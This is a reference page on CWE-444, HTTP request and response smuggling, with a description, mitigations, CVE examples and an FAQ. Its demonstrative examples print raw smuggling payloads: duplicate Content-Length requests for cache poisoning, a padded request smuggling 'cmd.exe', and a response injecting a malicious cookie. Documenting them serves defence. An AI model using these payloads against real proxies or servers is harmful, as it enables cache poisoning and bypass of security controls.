Description
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
HTTP requests or responses ("messages") can be malformed or unexpected in ways that cause web servers or clients to interpret the messages in different ways than intermediary HTTP agents such as load balancers, reverse proxies, web caching proxies, application firewalls, etc. For example, an adversary may be able to add duplicate or different header fields that a client or server might interpret as one set of messages, whereas the intermediary might interpret the same sequence of bytes as a different set of messages. For example, discrepancies can arise in how to handle duplicate headers like two Transfer-encoding (TE) or two Content-length (CL), or the malicious HTTP message will have different headers for TE and CL. The inconsistent parsing and interpretation of messages can allow the adversary to "smuggle" a message to the client/server without the intermediary being aware of it. This weakness is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents.
Potential Impact
Integrity, Non-Repudiation, Access Control
Unexpected State, Hide Activities, Bypass Protection Mechanism
Demonstrative Examples
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-AliveGET /poison.html HTTP/1.1
Host: www.website.com
Bla:GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-AlivePOST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54 (ignored by server)GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Aliveprotected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// Set up response writer object
...try {
// check for multiple content length headers
Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
int count = 0;
while (contentLengthHeaders.hasMoreElements()) {
count++;
}
if (count > 1) {
// output error response
}
else {
// process request
}
} catch (Exception ex) {...}
}POST /page.asp HTTP/1.1Host: www.website.comConnection: Keep-AliveContent-Length: 49223
zzz...zzz ["z" x 49152]POST /page.asp HTTP/1.0Connection: Keep-AliveContent-Length: 30
POST /page.asp HTTP/1.0Bla: POST /page.asp?cmd.exe HTTP/1.0Connection: Keep-AliveHTTP/1.1 200 OK
Date: Fri, 08 Aug 2016 08:12:31 GMT
Server: Apache (Unix)
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html
Content-Length : 2345
Transfer-Encoding: chunked
Set-Cookie : token="Malicious Code"
<HTML> ... "Malicious Code"Mitigations & Prevention
Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
Use only SSL communication.
Terminate the client session after each request.
Turn all pages to non-cacheable.
Detection Methods
- Automated Static Analysis — Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then sea
Real-World CVE Examples
| CVE ID | Description |
|---|---|
| CVE-2022-24766 | SSL/TLS-capable proxy allows HTTP smuggling when used in tandem with HTTP/1.0 services, due to inconsistent interpretation and input sanitization of HTTP messages within the body of another message |
| CVE-2021-37147 | Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending" |
| CVE-2020-8287 | Node.js platform allows request smuggling via two Transfer-Encoding headers |
| CVE-2006-6276 | Web servers allow request smuggling via inconsistent HTTP headers. |
| CVE-2005-2088 | HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header |
| CVE-2005-2089 | HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header |
Related Weaknesses
Taxonomy Mappings
- PLOVER: — HTTP Request Smuggling
- WASC: 26 — HTTP Request Smuggling
- WASC: 27 — HTTP Response Smuggling
Frequently Asked Questions
What is CWE-444?
CWE-444 (Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Base-level weakness. The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret mal...
How can CWE-444 be exploited?
Attackers can exploit CWE-444 (Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) to unexpected state, hide activities, bypass protection mechanism. This weakness is typically introduced during the Implementation phase of software development.
How do I prevent CWE-444?
Key mitigations include: Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
What is the severity of CWE-444?
CWE-444 is classified as a Base-level weakness (Medium abstraction). It has been observed in 6 real-world CVEs.